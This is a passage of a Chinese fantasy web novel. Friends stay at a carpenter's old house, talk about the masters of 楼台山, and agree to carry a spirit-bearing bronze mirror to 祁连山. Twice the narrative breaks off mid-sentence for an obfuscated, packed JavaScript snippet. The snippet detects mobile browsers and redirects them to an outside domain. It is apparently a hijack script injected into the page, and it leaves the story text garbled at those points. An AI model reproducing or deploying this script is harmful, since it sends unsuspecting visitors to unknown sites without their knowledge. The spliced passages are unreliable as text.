“你这种人?想打就打了!”楼少渊起身,一脚扬了上去,将他踩脸贴地,木耳生起凉意,见他一抬身,猛地又踹下去,邵木匠也是看的脸疼,朝独翊喊了一声:“公子?” 原以为他想让独翊劝诫他不要动真格,想不到独翊却是静观其变,随即付之一笑,颇有一番道理:“老伯莫慌,楼兄本就天性好斗,路见不平,无需旁人化解,自当磨练心性。” 邵木匠听完,眉间舒展开来,也是毫不在意地摆了摆手:“无事,我就是怕他打累了!我也可以上。” 见楼少渊打得火热,木耳那焦炙神色投去了三人,见状,锦玉和独翊则是抬头回避,似是看风;楼少渊也留意到,放缓动作,也轻侧看他俩,两人即刻回过头来,莞尔示意,继续看风。 木耳只好把求助目光转到邵木匠面前,挪出两只手来作拥抱状:“爹!救救我啊!” 邵木匠正想平复心情,又被惊了一道,赶忙缩的远远的,差点走不动道,无语地瞪他:“你真逗啊!叫谁爹呢?!” 木耳扯着脸不停求饶,还不死心的挂起一副苦笑:“那……你也把我带走吧!爹!既然你女儿有那么多夫婿,多我一个也无事!成不成啊爹??!” 邵木匠大气也不敢出,也不乐呵了:“你这人……太蛮不讲理!” “我要报官!!杀人了啊!震惊东山村的杀人案啊!救命啊啊啊啊救命!!!”木耳抬手捂住那只小眼,此事不妙,只好大声喊叫,没成想楼少渊一拳砸下去,没砸到底,只是虚晃一枪,木耳也惊奇避开,还没得意一瞬,楼少渊双手撑地抹了一把灰,转而在他的脸上拍了拍,眼神飘忽,莫名作呕,厉声喝道:“我要你道歉!!还不道歉……?” “呕……!” 忽而身体不适,心中作呕,猛地反胃,就将那未消化的酒与酸水吐到了木耳的脸上,淋漓一身,还未吐尽,木耳的脸上有温水浇灌似的,脸色惨白,不禁叫了出来,起身虚浮不稳,翻身落荒而逃,晃了晃后跑得极远,一不留神就落到了不远处的井中,不过他跳的那么稳,邵木匠像是习以为常,说:“井中还挂着井绳,他还是会借力上来的。” 这边的楼少渊瘫倒伏地,深吸一口气,嘴里还念叨着:“我再也不喝酒了……” 两人相视一笑,走上前继续扶着他走下去,不多时,终于停在了一扇松木门面前,门槛不算高,约三寸,邵木匠先是敲了敲门,等了一会,独翊隐约听见里面有脚步声从远至近,只差一门之隔,忽然就听见了拨开门锁的声音,不闻其声,见其来人,一张清瘦的脸撞入眼中,是兰桡。 “邵伯伯!辛苦了……”兰桡笑脸相迎,即刻注意到旁边几位不速之客,脸色微变,只把自己埋在一扇阴影里,似乎亮着那面笑颜也只展现给邵木匠看,究其原故,今夜是遇到了熟人。 他见到兰桡时,将一提草绳上的肉拿到兰桡眼前晃了晃,又指了指独翊,笑嘻嘻地说:“哈哈哈!才半天不见,兰桡怎么又瘦了?久等了,多亏了这位公子。还好买回来了,给你们包馄饨吃,都有啊!快进来吧!真的有点晚了……” 兰桡欣喜,终于盼得人归,说着就松开了手,将门敞开,侧身让他进去,毕竟天色已晚,邵木匠快步上前,转头招了招手,脚已经迈进了侧旁的屋子,就先迫不及待的进去准备馅料了。 “兰桡小儿??”楼少渊清晰识得他的声音,抬头左看右看,就算是看到前方一半门内阴影也清醒了不少,见他还挡着门,顿时不满,意味深长地盯着他:“那个入赘的男孩该不会就是你吧?” “什么入赘!什么男孩?老子可是男人!”兰桡好气又好笑,见他戏弄,还存有醉熏酒意,满腹狐疑的将门揽回,隔脚挡住,微微上下打量了一番,随后警惕了起来:“你们怎么会在这?又跟着我!到底是什么目的?” 楼少渊见他丝毫不让门路,率先撞了进去,兰桡一侧闪,差点颠倒,还好站稳,他就一个不留神猛地扑倒在地,空中飘去一丝酒味,眼神迷离,后劲越来越明显,又踉踉跄跄地站起来,横了他一眼说:“当然是来玩啊!你还真是攀上富贵了,我那死鬼老爹孤寡半生,什么时候才能像你一样过上好日子?!” 兰桡左手叉腰,一手指了指锦玉,大惑不解:“你说什么呢?这是我师姐的家!你们又是怎么找到这的?还有这个人!怎么会和你们一起!” 锦玉低头,想起洞中与古泛舟交手一事,才想起他是谁,楼少渊则是抬头环视了一圈周围,靠墙边的花坛旁种了好多蔬菜,另一边则是有一棵极大的柿子树,树下有口水井,他不熟悉环境,察觉太安逸,更是太累了,只好又趴在地上敷衍了一句:“自然而然……” 听到响动,右侧门内踏出一位女子,还是穿着最初时的那袭白衣,身段玉立,发丝垂落的整齐,面如皎月,非凡出众,她提着一只长方状红提灯迎面走来,轻盈迅速,人影闪烁,终于来到了近前。 兰桡这才悻悻地把门敞开,嘴里还不忘挑拨:“师姐,来稀客了……按理说你还得叫某人一句师叔呢,哎!你们这楼台山的,出门在外也得谨记教诲啊!” 这才入了门,他又被锦玉和独翊扶起,架在中间,马上又要昏过去了,其实早就睡着了,锦玉想起解下的红绸带还在身上,心生一计!扶着他站立不动,一丝不苟地将红绸带缠绕他身,左右一圈绑的极为紧实,这下可以安心靠拢一人身上,其实最开始就得缠住他,不过怕他的性子一路走来会耍酒疯,如今入了别人家的门,自然是要安分着点好。 邵为雪虽然也是第一次清楚的见识到这位师叔的面貌,心中也并无多大波澜,不过与传闻中那般瘦弱相,难以示人的模样稍有不同,于是提着灯颔首:“师叔,百闻不如一见。” 独翊尴尬笑,上前作了一揖:“雪徒儿见外了,我们碰巧遇到了令尊,所以才……冒昧了。” “无事。”邵为雪做了个上前招引的手势,让他们前往客堂就座,走过一路后,她转头对着兰桡吩咐:“备茶,待客。” “师姐……”兰桡大气也不敢出,立马跑到她身后。 “雪徒儿”这等称呼是在楼台山之中,每位门主之间都可以互相称谓对方的徒弟,互相称徒,这样才不失门派之间的亲和力,这就是为何古泛舟属于独淮客门下,却可以与芦荻秋音耗不绝,找他安排事务,完全也是因为门下也只有邵为雪与古泛舟两个徒弟,虽说都是门主,却是若是徒儿们将来各执一方,前提也少不了互相扶持,给他们的,终究还是他们的。 可兰桡为何没有拜入其中一门?只是因为兰桡最初说,他是有师父的,只不过现在毫无音讯,他也无心再拜入谁门下认谁为师,不好勉强也就此作罢,但是因为年纪尚小,总不能将他弃置了去,其实四人对小辈还是很好的,也会让古泛舟和邵为雪在行路途中,叮嘱互相照顾,兰桡年纪尚小,更应该留意。 另一边,邵为雪从柜上拿出一个木罐,眼前的边璧上刻有赤色“江华”二字,底下还有银印小篆“湘”字纹,略感熟悉,她将木罐放到托盘上,留疑质问:“你在山中时,对待别人是何等情形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15087010|163586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 原本狭路相逢,以为再也不相见,今夜又是冤家路窄,一通疾言厉色,兰桡本来就有点扫兴,一听邵为雪的盘问,顿时回驳说:“我没有!” 她猜到兰桡一定会在途中失言,审视了他两眼:“就如刚才,你挡着他们不让入门时的口述之意,定是说明你们在山中有过口角是非。” 兰桡晃到跟前,刚想抵赖,又急的要解释:“师姐!是他们先跟踪我的!沃洲镇这件事本就是芦门主要求师兄去探究一番的,我也是怕师兄一人艰险,所以我才和他一起!谁知道他们两个在旁听了这件事……竟然也临时起意,这才撞上!” “是师父要求古泛舟去的?” 听到这件事,邵为雪的神色终于有了一点光亮,虽然不解,也不怪罪,又转回暗眸,叹了口气:“独门主的胞弟,也只有师叔一人,他人不介怀,也是不想与小辈计较,你以后休要如此待人,我们的目的是去找那位前辈,往后多兼顾自己,少琢磨他人。” 兰桡垂下了头,将一副玉瓷茶杯放到了托盘上,提着紫砂壶就退了出去,抬头又看她:“好吧,我知道了……” 邵为雪出门又走了几步,将提灯放到门外,推门而入,注意到了坐在木板凳上的邵木匠,轻声唤他:“爹。” 邵木匠正在起火翻柴开灶,一旁的墙上雕刻着一幅灶君司命的木雕像,身下还有两个小娃娃,注意到有人叫他,立马转身,眼睛顿时亮了起来:“小雪?” 此时,邵为雪委婉地道了一句:“其中一位是我师叔,对肉荤类不喜,他的那碗换成阳春面就好了。” 邵木匠恍然大悟,也是没想到,点了点头又不甘理解:“噢!还有这类缘故,可你怎么知道他不爱吃肉?” 邵为雪回想,犹豫了一会:“早先年听过独门主吩咐过旁人送去京城的饮食,断不能太过荤腥油腻,只因他常年身子骨弱,不沾肉荤,只得清淡。” “好好好!我家小雪真是心思细腻啊!”邵木匠睁大了眼睛,搓了搓手表示理解,可是看着她的脸又开始犹豫了,试问:“小雪啊,回家了,可你还是那么绷着,是那小子对你不好吗?如果你不愿意了,回到东阳来,为父自然会为你打点好一切……” 听罢,邵为雪略微出神,思绪梦回:“很好,尤其是师父……还有师兄弟。” 邵木匠挠了挠头,咧着嘴笑:“如果你喜欢,那就很好。” 说完,他看着她关门离去,转头看了一眼木雕上的娃娃,想起邵为雪离家时也不过八九岁,从那之后除了重要节日,芦荻秋会携着她回到东阳住一阵,越长大之后她就有了自己的想法,独立而行去往别处,就很少回来了。 不过多时,邵木匠连着端来了三碗馄饨,这种做法,除了几片绿油油的青菜,里面还掺杂了许多肉沫碎,汤色也是清透,皮薄馅多,看着寡淡,实则味全,三碗则是给了锦玉、邵为雪和兰桡,后来的阳春面是给独翊的。 兰桡那份也是出奇的多,于是他就离得远了些,不与他们坐在同桌,而是坐在外头的树下吃。 独翊先是尝了一口汤,直率地说:“好吃好吃!” 锦玉也是点头,笑吟吟地说:“锦玉也很喜欢。” “老伯,令堂呢?”独翊疑惑,怎么不见那位夫人? 邵木匠又给他们续了杯红茶,说:“放心吧,我夫人早睡了,不过也起的很早!明天就能见到了。” 原本是要给三人整理出三间房的,不过独翊需要照顾楼少渊,锦玉也选择和二人同处一室,邵为雪将三人带入一间屋中休憩后,也离开了。夜里楼少渊半梦半醒吐了好多次,边吐边骂,所幸独翊和锦玉在旁收拾残局,到了后半夜才幡然睡去。 外头艳阳高照,日色明媚,锦玉就在门外站着,时不时看向屋内,楼少渊睁眼,侧身一望,两方的目光就撞到了一起,起身揉了揉头,顺便抓了抓头发,接着独翊就从不远处提步而来,犹远至近,板上压筷,碗中用板子还盖着什么东西,一番专注地探问:“楼兄感觉如何?” 楼少渊在外站了一会,随口道:“感觉肚子空空的。” “楼兄果然聪明的!”独翊闪到跟前,掀开遮蔽物,原来是一碗馄饨,昨晚他睡着了,所以没吃到,楼少渊顺手接过,还以为自己吃不到了,瞬间眉开眼笑:“你们还给我留了?!谢谢。” 独翊轻抚他的额头,虽然这晚的楼少渊并没有生病,他却像个大人一样观察了他的脸色和温度,恢复的不错,立马收回手,微笑点头:“昨天你睡着了,半夜终于把酒吐出来了,锦玉一直在一旁照顾你,我以为这花儿妖有洁癖呢,还好,他也不介意,今日没能帮的上忙的,你先吃点,我打算去浇花。” 于是转头就去水井旁,接水灌入壶中,蹦哒蹦哒的去浇花了,楼少渊追逐他远去的背影,冷不丁地冒出一句:“你觉得独翊还缺点什么?” 话音刚落,锦玉回想起第一次遇到独翊的时候,各自为战,两道灵力互相冲击,直至从空中迸发而散,当时两方都是较为震惊的,又想起途中那句“灵力低微”,若是隐去这套说法,更是百思不得其解,格外留神,有些意外:“独公子虽有形,但……独缺神韵。” 楼少渊看着不远处的独翊,突然站着一动不动,手持洒水壶停在一处,像是在驻足瞌睡,洒水壶里的水还在不停地往里头浇灌,扑哧一笑:“确实还没有完全清醒。” 随后摇了摇头,退了回去,返回屋中,锦玉上前一步,也有些神往,突然问他:“楼公子,锦玉想请教你一个问题。” “你说。”楼少渊拿着碗里的馄饨退回桌旁,打了个“请坐”的手势,锦玉却是岿然不动,上前追询说:“独公子的原身……你见过吗?” 楼少渊摇头,像是想起了以前的往事,记忆犹新,莞尔轻笑:“没有,但是我很清楚,最开始他还是挺避讳自己的身份的,不过呢,我不介意。” 锦玉的手袖遮挡了整个身躯,不难看出他很紧张,更是忐忑不已:“即便如此,锦玉的原身会惹你惧怕。” 楼少渊挑眉看了他一眼,缓缓说:“你?想什么呢?那更不会介意了!” 在此期间,锦玉总是反复斟酌这件事,连问许多次,可想而知,他深知自己的身份会惹人心生俱意,令人惶恐,更多的是不确定,有些局促:“可我伤了你,你不应该恨我吗?” 闻言,楼少渊突然打了个抖嗦,莫名地瞅了他一眼,反问:“你怎么还记得这件事?我还喜欢吃肉呢,鸡鸭鱼肉鹅!一顿不落!无肉不欢!作孽极深!恨我的那些动物,不得诅咒我死后坠入无间地狱?这么一说,我也是个招人恨的了?” 锦玉俯首低语:“这不是你的想法。” 楼少渊双手抱臂,身子微微后倾,想到些什么,回神端详着他说:“我要是真讨厌你,甚至如今和你说话的都不会是我,能告诉你的是,我对你表现的外在就是我的内心,早就袒露了,绝无隐瞒,你也别想太多,但是有一点是,你可以反复求证我对你的真实感受,我永远不会看轻你。” 21. 祁连山 锦玉哑然,心绪有些复杂。 兰桡踏入门内,瞟了一眼锦玉,还捎来一件红衣,想来是要给楼少渊的,但却一直挂在右臂,并无意向给他,只是前来堵他的嘴:“你这人还看得起别人??” 楼少渊说的认真也有些道理,所说不拘形迹,语调轻盈:“那当然,我向来是看得起所有人的,如果与之相反……那一定是他错了。” 兰桡轻哼一声:“你倒是如此傲然。” “哪里哪里,只是人活一世,总不可能事事都要迁就别人,为人考虑周全,被禁锢的太深,被编排的太苦,原先吃过的苦难都悉数奉还,那便没有活头了,总而言之,只要是我喜欢做的事,也乐意效劳。”楼少渊顾盼着屋内的陈设,乍一看极为简朴,墙面上还挂着一副桐木面具,平面光滑,无眼轮廓,只有一处鼻尖和唇口状,正额之上还有一道莲花刻印,年色已久,沉色已深,揭下面具的背后是一幅菊花图,似是墨菊,底下的清供上摆着几块木头小人,望眼过去也并无沾灰,看来也有人经常入室打理,转念一说:“我住的是谁的房间?” 沉思一会,兰桡也在屋内巡行一番,把视线转移到旁边的面具上,思索一番说:“应该是那位芦荻秋的吧?看这面具就知道了,他终日是把自己包裹的严严实实,不露相貌,听说就只在熟人面前露脸,要不你问问我师姐?她上次见那人是什么时候?师姐?!师姐!!!” 他的声音确实是响亮,貌似来这里撒欢的,无拘无束也无人管制,邵氏夫妇也特别关照兰桡,对他们而言真是不一样的快乐,过了一会,邵为雪闻声赶来,见她扶门进入,并未察觉到什么大事,只好轻叹:“小声一点。” 兰桡不以为意,侧头问她:“你还记得吗?芦荻秋到底长什么样子?楼台山之中,他最为古怪至极!” 邵为雪寻思了一会,显然是记不起和他的容貌有关的任何事,接着摇了摇头说:“不好形容。” 楼少渊停下手中的动作,有些疑惑:“为何不好形容,老话便是先论美丑?” 邵为雪的表情有些耐人寻味,随后承认:“印象里是长得不错的,其实已经过去很久了,很多痕迹虽有遗留,可我也记不清,来到东阳时,他不会闲着,会帮爹上山砍柴,脸上一直挂着面具,只有吃饭时会揭开,吃饭也很快,事后就会遮挡起来,全身覆盖的极为隐蔽,没过几天就回去了,我记得幼年时他带我去竹塘玩,那会却不怎么戴面具……” 听她描述完,确实没什么惊疑变化之处,楼少渊只好继续埋头吃馄饨,轻言说:“这人也是故作神秘,哪有从来不揭开面具的人呢……他为何全身覆面,不露一点痕迹?” “不知道,我就更没见过。”兰桡摘下自己的木雕羊,摆出几个木头小人,列阵一圈,木雕羊站在正中间,他站在清供桌前做东,与那些木头小人争相打斗,自己时不时也给他们配声,两方碰面,状况激烈,由于木头小人人数众多,最后也落得个争相持平,他小声喃喃:“本咩暂且歇战,那就来日再战……” 脑海里忽然灌入“竹塘”一词,楼少渊忽然来了兴趣:“嗯?竹塘是个什么地方?” 等到兰桡将木雕羊重新挂回脖子上,琢磨半天,倒是像是想起了什么好玩的事来,说:“竹塘山色,位于永州,席湘筠住屋,此人长居其间,是建在一棵香樟树下的竹屋,背靠群山,侧旁一亩良田,种什么蔬菜瓜果了,还有池塘山水了,水从何引?那是一道从山缝中流出来的细泉,积蓄成一个小水塘,偶尔落叶积水,光影照入,还有黑色小鱼儿!四人之中就属他脾气最好,也就喜欢到他那处去。” 楼少渊“噢”了一声,恍然大悟:“这么受欢迎?这地方对于归隐之人,也是很安生的,京城就不同了,有点风声早就传遍了,哎!瞧我这么说,这俩地方也不能比啊……” 兰桡挠了挠腮,支支吾吾地说:“可能是……他会做饭,他是苦过的,所以很早以前就会做饭了,我也吃过……!” 闻言,楼少渊咽了咽口水,看到碗中已空,听他传的美味,倒是还想吃点别样的,摇了摇头,赶紧将脑海里的美食抛走,转头指着那幅画沉吟:“这是谁画的?这个“湘”好生熟悉?早几年前我也见过的,这是在哪呢?” 兰桡作摇头晃脑思考了一阵,看到那幅画上的“湘”字文篆刻:“应该是柳弦绝画的吧?其实席湘筠以前也算,不过后者早已封笔,那席湘筠是个爱玩的性子,柳弦绝竟然也顺着他,四处游山玩水,放任自流且不说,据悉两人手下均无门徒,竟然互相授其技艺,这可不多见,这个楼台山门主的位置,也就到他们这里就显得有些无足轻重了。” 楼少渊一怔,问:“席湘筠?那是怎样一位奇人?” 兰桡清咳了一下,理清思绪说:“幼年时突遭变故,多年后辗转到楼台山拜师,最初的楼台山是一位楼姓的女子所建立的,姓甚名谁我不清楚,反正应该是皇族里头出来的人,不然现如今谁哪有这个本事,真正做到人与妖相生共存呢?他以善画山水竹兰而闻名,后被遣赴宫中成为宫廷画师,再后来就是脱离身份去往潇湘之地长居了一阵。” 听到里头都在论事,独翊也赶来凑热闹,不经意间迎上去问:“那你可知他最近的行程?” “他与身边那位柳弦绝形影不离,行迹飘忽不定,谁能知道他们如今的情况?”听到响动,兰桡摊了摊手,装作无奈,突然面向独翊说:“不过独公子怎么会不知悉楼台山之事?虽无瓜葛,但您兄长至少也贵为一方,不能这种事都不和你提及。” “确实不多。”独翊打了个哈哈,想起每年见到独淮客的次数都是屈指可数,哪会特别清晰这些,如果自己有心去了解这些事,独淮客就会让他管好京城的独家再去管别的事,这种局面他也无法,能打听到的细枝末节都在玉簪与白萼曾拿回来的小报之中。例如今日什么“楼台山又出新贵”,明日什么“后起之秀各自立派”,其中的艰难曲折之苦从不让独翊知晓,甚至有时候都怀疑是不是独淮客专门专拣好听的说,写在小报中的全是小人小事,将坏事抹去,才好让她们传达给独翊。 楼少渊悠悠地走到床沿坐下,顺势平躺着,这番躺姿既僵硬又不认真,倒是刻意为之,双手提起被子就将自己的身子包裹得严严实实的,假装又要入眠,闭眼又问:那人贵庚?” 兰桡抬头深思一瞬,当机立断:“成名之时不过及冠之年,如今算来已然而立。” 楼少渊仔细回想,这人年纪竟然和自家半仙老儿有些许相仿,想到这里忍不住说:“你知道的还挺多,至少愿意毫无保留的告诉我们。” 兰桡听完冷哼一声,心底还是知无不言,把头扭到一边,察觉独翊已经站在身旁,想起此行目的,顺手将红衣抛到他怀中,后脚已经离开房中,最后只听来几声回荡:“我才不像楼台山那群人,全盘托出也只是前人早已流传下来的实事,你们若是向多方打听,估计知道的比我还多!” 见他远去不见影,楼少渊左手垂下床沿,无意中摩挲到一阵异样的手感,将头往外侧了侧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15087011|163586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现这张床身都是雕刻出来的鸟兽花卉,加上木材本质深沉,色泽光润,更显本真,此屋多年不住人,细嗅空中也弥漫着一丝异香,也愈发阴冷,他惊讶地说:“这床……” 邵为雪也观察了一眼,解释说:“这是用小叶紫檀做的床。” 回想昨日,难怪邵木匠先前说到家私二字,这是一处名副其实的老宅啊!外表既没展现出来什么画栋飞甍,也没有特别大的补葺的痕迹,原来好东西都藏在房子里!一想到这,忽然觉得这床异常舒适,躺在床上翻来覆去到处打滚,今日能沾上一丝贵木气息!值了!瞬间惊叹不已:“真有钱!” 邵为雪也先后离开了,顺势将门带上,屋内也仅剩这三人,忽然,楼少渊像是想起了什么一样,猛地起身,逐渐回想,却总是记不起来,直到在身上前后摸索了一番:“嘶……我总感觉怪怪的,你们快帮我找找!” 独翊眼下也跟着他一起找,但是不知道需要找些什么:“又哪儿怪?楼兄要找什么?” 楼少渊这才想起铜镜月不见了,尴尬一笑:“我忘记铜镜月了!” 言罢,独翊也是愣住,想起昨日无意识地顺手捡起铜镜月,放在一处,却并未带回身边:“糟了!我好像放在那时的床沿了!等我回去找!” 便在此时,二人立马翻身行去,锦玉原在一旁等候,不经意间站在门前挡住去路,说:“昨日将祁连将军带回来了,已在枕下。” 楼少渊稍存疑,又一个箭步过去掀开枕头,瞬时入目,一瞧着实不假,拿起摇晃了一阵:“铜镜月?!!” 铜镜月还是那副索然寡味的声音,好像把他丢在哪里都是一种命,留着是负担,丢了也无人在意:“小友,我还在。” “真的很抱歉!还好你没事……”楼少渊回想起当时的情形,他的上衣被撕挠成碎片,铜镜月也顺势滑落掉在了地上,直到最后二人寻来,独翊先是关心他的状况,并未太过注意铜镜月,他挠了挠头:“可我记得我没带回来啊?” 独翊深感歉意:“其实…我也没有。” “还好相安无事,我还是把你挂在脖子上才老实!昨天是真醉了!乱的有些蒙头转向!今天才想起,实属我罪!你既不是独翊带回来的……也不是我,那一定是你?!锦玉!”楼少渊忽然回过神,面向眼前的锦玉,细细斟酌之后说:“我怀疑一路走来!你都是为了铜镜月才接近我们,况且说来不巧,以你的能力,自然是可以轻易夺走他的,可是你没有!如今的你到底是作何想法?” 原先的他的确不解年岁,更不知来路,后路亦不明,事已至此,锦玉不好隐瞒,只身上前俯首,一番开诚相见,道出了实情:“锦玉是受祁连将军所托,带他回到祁连山,你我三人知晓鉴心不过三日,交情甚浅,锦玉有意适逢巧遇后,二位深知锦玉意图,却从未防备锦玉。 遇见你们之后,所谓的化形,其实并没有那么不堪……只是锦玉一直都想留在人间、也想成为你们的朋友!!!” 他不敢说出“只想留在你身边”类似这样的话,况且那是别人的路,怎么能轮到一个妖兽来替人做决定,以后这种话,他就不敢再说了。 楼少渊被震惊得不行,咧嘴大笑:“啊?!哈哈哈哈!!锦玉!你怎么还顾忌这个啊?我都说了,我们早就是朋友了!” 锦玉直起身子,眼光瞬间明亮:“当真!” 原来如此,独翊扶额干笑:“体谅!这场面我也经历很多次了!你我既然推诚相见,今后再也不必纠葛自身。” 22. 楼不已 提到祁连山,楼少渊自然是听过的,这地方千百年来尤其被皇家推崇,即便早已被收复,也有心重视,说:“你说的祁连山我知道!离这好远啊……不过我可以和你一起去!这地方跟东阳比可就远了,如果和京城比那可就近的多了!我也没去过这个地方呢!或许将来能寻个什么灵兽坐骑,以后在京城就可以横着走了!!” 听他一本正经地夸夸其谈,独翊听感不妙,连忙上前阻绝:“绝无可能!此行山高路远,本就艰难险阻!若是楼兄一人行之,让独翊怎么办?” 楼少渊抬眼瞧了他,如他所说,总不可能不带上他吧?刚想上去拍拍他的肩,颇感自得:“你怎么办?还能怎么办,当然是一起走了?!你要是不想去我也理解,这番侠肝义胆之事我怎能坐视不管!还个愿而已!这几日涉足东阳倍感轻松,可别和我说这次踏上的行程路……归的是京城,我可不回!” 听他说极其无谓,独翊心下猛地一颤,双瞳紧缩,反手牵制着他手腕贴近,使了点力气却不自知,冷声斥道:“林中多鬼魅,山野之怪,万不是我们能解决的!半仙若是知道你如此肆意妄为?岂能罢休?!” 楼少渊面露不悦,将他脸挡开,拨开他的手后退了几步,一溜烟儿坐到了床上,没好气地说:“独翊,你也知道我的名头不好,名气不小!京城一事无成者当属楼少渊!我怎么也得给老爹正正名,我是不会甘居人后的,倒是觉得你……怎么也和他们一样开始古板了,我也不倒霉吧?自己心里有数……你就别再管了!” 独翊完全想不到他会用这般理由来堵塞他,越是耐心与他讲理,目光投向他就越咬牙切齿:“我古板?我是有过迫于形势,难以翻身之时,反之,那是别人要走的路,你绝不能干涉!若是往后我不在身边,那你该何去何从?难道要和我说你生性放荡,如今任何事都能独揽一方?化险为夷?那你怎么……!” 不回归原来的身份,去做回萧长亭? 楼少渊忽而收声,回念起他的父母作为王公贵族,因涉及政权一事被贬于“十里长亭”多年,后育有一子,故此子与长亭同名,萧氏夫妇死后,作为京城外“十里长亭”的掌权人,这位年轻的少主深日久间愈发不振,外人看来他是整日把自己关在书房,实则已经逃离了十里长亭。 长亭幼年丧父失母,十三岁时独自离家来到京城,遇得一半仙,原以为倾囊相授为徒子,却不料一心认他为义子,为了让他能在京城留有一席之地,后得名少渊,楼姓,意为少年渊博。 原本是位敛迹之才,入了京城内,便结交了各数无忌狂友,他人心困方寸之地,试想总有一日,身心与共,逃至远方。 独翊眉间紧蹙,还能不经意看出身间颤抖,接着叹了口气,注视着他,再次强调:“妖族确实有善有恶,可是类不相同,似是而非!此忌最为气盛,你心地勇敢不错,若盲目征逐?亦恍若失神…就会被蒙蔽本心!迟早会出差错……!” 锦玉也想不到事情竟然发展到如此地步,本是无意之言,却不料听者有心,低头羞愧道:“这本是锦玉的无心之言,这才让二位为难了,锦玉从未……” 独翊带着一丝挑明的意味,问:“我要你的答案。” “等等!锦玉……这不关你的事,是我自己。”楼少渊打断了他的话。内心略显乏味又忧郁,闷闷抽气板着脸,小声说:“独翊,我答应你,此行结束,我……就回到京城。” “很好,只许一次,这番路不会好走,我会陪你一起去,也希望你能原谅我刚才的冲动……”见他妥协,楼少渊那副异常平静的模样让独翊愣了愣,心中也无法了,若是不听劝,绑回去即可,他也并没有因为楼少渊听话而放软话音,而是将修好的檀木折扇拿出,递到他眼前,虽不比原先,但是已经很好了。 “你是我的朋友,自然珍重。” 言罢接过,又将檀木折扇捏紧了些,独翊倒是还想再说些什么,话到当前,欲言又止,也迟迟张不了口,不多言语就径自离开了房中,他实在对楼少渊这人,没脾气,还没理由大肆发作,那又如何,他能试错千百回,若是腻了,自然可以回去继承原有的位置,是他的,还是他的,但是不能受伤,不能死。 安静片刻,手上的铜镜月从外界听到了一切,也有些无奈,说:“小友……你若为家中独子,可要慎重行事!锦玉和禅师与我在东南相识,后同行一阵,却从未离开过这片地域,一路上坎坷不少,你的身边贵人虽多却也恐遭嫌隙,我已经活了上千年了,这急不来,更不急于这一时。” 楼少渊窥探着铜镜月,将自己的面貌收入眼中,脑海里也反复琢磨自己刚才的这番话,越显炙热了起来,铜色流离之间也是泛过一丝微闪:“放心吧!将军昔日夙愿未成,本就是执念不忘,我相信也能带你走出轮回。” 他看了看锦玉,总觉得要物归原主,于是将铜镜月还给了他,离开了房间,锦玉想起无意之言,不知所措:“祁连将军……锦玉言论不慎,并非刻意,如今是否办了坏事?” 铜镜月叙说解释:“与此子相逢,意气相投,他人心性不稳,举止失常,不必担心,是你交了个不错的朋友,可终归也还是个孩子,仙者在庙中所述时,他的年纪还并未及冠,你得多上点心,关照好他,别让我的事情影响你们,再度陷入误会。我这个模样自然是保不了你们的,昨日说出花禅一事后,他也深知入地无门,于是登赴六道,你也吃了很多苦,本性依然如故,交代的这些着实没有新意,因为一切远没有与人相交重要,即便情淡如水,也切莫揣测他人与旁人的关系,有心人自会推己及人。” 锦玉从未看到过铜镜月真实的模样,修长的手指,抚上铜面片刻,眸光也暗了下来:“祁连将军今日所言,锦玉会谨记在心。” 铜镜月已近千年岁月,花禅穆一则是已过期颐,锦玉也不过是一只百年灵兽,可以说作为三位之中年纪最小的禅师,这些年来竭尽所能地来帮扶其余二位突破桎梏,可惜他自身被仇家追杀,早年罹难不死,最后却落得个身故、死灭的下场,有形终归无形。 即使血玉的灵力已经支撑到生命的尽头,回想最初分别之时,他也只是轻唤了一声生命中最后一句。 “祁连将军、锦玉兄。” 少年禅师穿着一身靛青色长袍,身上并无多余的配饰,却留着一颗无瑕白玉,这块玉石是他一路走来时常摩挲的,现今自然光可鉴人。夕阳将他拉开了一道颀长的影子,那时只有影子是最靠近锦玉和祁连月的,锦玉站在原地,也不懂什么是分别,低哼着远方的人,看他一步步消失在山林中,挂在脖子上的祁连月一声不吭,不知如何,回想过,在沉隐湖拿到自己时,为锦玉正名时的那位少年。 那日也没有回头。 一切都在不规则之中进行,只是想留住你的这条路清浊难辨,连你我都不能辨别。 一行人齐聚堂屋,邵夫人早就坐于一旁等候,这三人见了邵夫人,楼少渊先是彬彬有礼的鞠了一躬,旁边两只小妖原以为颔首致意就行了,见他如此,也纷纷加入,深深鞠了一躬,她约四十岁余,肤色白皙,此时笑意正浓,也能捕捉到一丝少言寡语的气息,举手投足间散发着雅量,多年后,还留存着一双明眸善睐。 这邵夫人捂着嘴笑:“这两个小鬼已经给你们准备水汤去了,你们劳累一天,早晨趁着清醒,快去洗浴一番!” “多谢邵夫人。”三人连声道谢。 与此同时,这兰桡在一旁暗戳戳的作怪,摆着扬水的手势,狂笑说:“师姐,快快快!多倒点热水,烫死这三个人!” 闻言,邵为雪的手停了下来,对上了他的眼睛,有些疑惑:“为何要这么做?” 兰桡硬着头皮也没想出什么理由,一边嘴硬:“管他呢!谁让他们进了我们的地盘!我不管!我就是讨厌他们三个!” 邵为雪瞪了他一眼,有些迟疑,又压低嗓音:“……你觉得他们会傻到不试温吗?” 兰桡眼皮一跳,继续往里头灌水:“还真有点道理??不过我希望总有傻子先出头!” 